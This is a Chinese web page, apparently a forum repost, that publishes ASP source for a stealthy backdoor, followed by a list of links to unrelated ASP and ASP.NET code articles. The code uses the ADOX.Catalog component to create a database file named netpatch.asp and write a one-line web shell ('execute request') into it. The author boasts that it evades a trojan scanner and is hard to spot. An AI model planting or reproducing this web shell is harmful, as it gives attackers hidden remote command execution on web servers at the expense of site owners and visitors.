新型ASP后门源代码分析

本是为了逃LAKER2兄 查ASP木马程序的 
现在已经挑战成功，已经加为检查对象了。公布出代码给冰点的朋友使使，希望大家喜欢！

利用的是ADOX.Catalog组件

代码如下:

<%   
'code by netpatch  
dim dbfile,sql   
db="netpatch.asp"  
dbfile=server.MapPath(db)

set ydb=server.CreateObject("ADOX.Catalog")   
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile   
set ydb=nothing   
if err.number=0 then   
Response.Write dbfile & " 创建成功<br> "   
else   
Response.Write "创建失败，原因： " & err.description   
Response.End   
end if

Set Conn = Server.CreateObject("ADODB.Connection")   
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

sql="CREATE TABLE fdata([data] Memo)"   
conn.execute(sql)

Set rs = CreateObject("ADODB.RecordSet")   
rs.Open "FData", conn, 1, 3   
rs.addnew   
rs("data")="<%execute request(“n”))%>" '(注释记得去掉！一句话后门 execute request(“n”))  
rs.update

%>

此脚本主要是利用ADOX.Catalog组件 
新建一个名称为netpatch.asp的空数据库文件 
然后把一句话木马插入新建的表中作为C/S版本的ASP马用！

优点，比较隐蔽，不容易让人看出这是什么作用的！

赞 (0)

相关推荐

  • ASP常用源代码的总结（上）

    ASP是Active Server Page的缩写,意为"动态服务器页面".ASP是微软公司开发的代替CGI脚本程序的一种应用,它可以与数据库和其它程序进行交互,是一种简单.方便的编程工具.下面介绍的是ASP经常用到的代码总结. 1.获得系统时间: <%=now()%> 2.取得来访用的IP: <%=request.serverVariables("remote_host")%> 3.获得系统,浏览器版本: <script> wi

  • FreeTextBox 中文版下载[含源代码]　of asp.net

    FreeTextBox 中文版下载[含源代码]　of asp.net

    调用代码 源代码 FreeTextBox 1.6.3 中文版使用说明 1.直接使用的方法:(1) 复制 bin 目录下的 FreeTextBox.dll 文件到你的 Web 应用程序目录中的 bin 目录或其上层的虚拟目录下的 bin 目录:(2) 复制 HelperScripts 目录下的三个文件到你的 Web 应用程序目录中或其子目录中,注意使用时要指定 HelperFilePath 属性:(3) 复制 images 目录下的 ftb 目录到你的 Web 站点根目录下的 images 目录中

  • asp.net下中文验证码，免费开源代码

    using System; using System.Data; using System.Configuration; using System.Collections; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.Ht

  • 解密ASP源代码

    从网上兴致冲冲地下载了ASP源代码,准备学习研究的时候.一打开文件,天书般的加密代码.很让人郁闷吧 :( 在网上是找到了解密的方法,得一个文件挨一个文件地打开,复制,粘贴,解密,再复制,再粘贴,再保存......如果一个ASP程序有几百个文件??? 解决办法来了.. 复制代码 代码如下: <% @Language="JavaScript" %> <% /*  *--------------- decode.asp -----------------  * 功能:遍历某

  • asp实现的7xi音乐网的采集源代码

    共5个文件: 2个是配置文件: 配置文件: cfg.txt '---保存检测ID信息的,第一次采集时设为1,从小到大检测 cfg.asp '---ASP的配置信息,内容如下: 复制代码 代码如下: <%  '''  '''╔=======================================╗  '''┆                                       ┆  '''┆ @系统: 7xi音乐采集系统 Version 2.0    ┆  '''┆ @模块: 配置

  • asp.net 需要登陆的网站上下载网页源代码和文件

    这个是文件下载类: 复制代码 代码如下: using System; using System.IO; using System.Net; using System.Web; public class SRWebClient { CookieContainer cookie; public SRWebClient() { cookie = new CookieContainer(); } /// <TgData> /// <Alias>下载Web源代码</Alias>

  • AspNetPager分页控件源代码（Version 4.2）第1/2页

    //AspNetPager分页控件源代码(Version 4.2): using System; using System.IO; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.HtmlControls; using System.Collections.Specialized; using System.Text; using System.Componen

  • Ajax+Asp源代码]读取数据库内容的表格(没有用框架)第1/2页

    功能: 读取数据库内容的表格.读取数据方式为ajax,分页也是.代码写得不好.呵呵.供一些学习ajax的朋友参考参考.如有不妥请大家跟贴纠正.我会根据大家的提议不断修正代码. 目前还有一个小问题,如果有朋友有兴趣帮我解决一下在下不胜感激 你翻到最后一页的时候如果只有一行会出现空白和undefined.这个问题我试了很多方法一直没有很妥当的解决. 注:下面一些地方出现笑脸表情的是 大写的d 其实很多地方都可以根据asp文件中输出的字符来控制.目前还没有往那方面完善.比如说一列显示多少行等. Asp

  • ASP生成柱型体，折线图，饼图源代码提供了第1/3页

    ASP生成柱型体,折线图,饼图源代码 <% function table2(total,table_x,table_y,all_width,all_height,line_no) '参数含义(传递的数组,横坐标,纵坐标,图表的宽度,图表的高度,折线条数) '纯ASP代码生成图表函数2--折线图 '作者:龚鸣(Passwordgm) QQ:25968152 MSN:passwordgm@sina.com Email:passwordgm@sina.com '本人非常愿意和ASP,VML,FLASH

  • 国内首款同时支持自定义404/505/rewrite的asp服务器（netbox制作，开放源代码）

    软件特点: 1.可自定义网站根目录2.可自定义端口号3.可自定义默认首页4.可自定义404页面5.可自定义505页面6.可自定义rewrite规则 软件下载地址:http://ucren.redsaga.com/downloads/httpserver.rar 源代码下载:http://ucren.redsaga.com/downloads/httpserver-source.rar 本地下载1本地下载2

  • ASP生成柱型体，折线图，饼图源代码

    ASP生成柱型体,折线图,饼图源代码 -------------------------------------------------------------------------------- <% function table2(total,table_x,table_y,all_width,all_height,line_no) '参数含义(传递的数组,横坐标,纵坐标,图表的宽度,图表的高度,折线条数) '纯ASP代码生成图表函数2--折线图 '作者:龚鸣(Passwordgm) QQ

随机推荐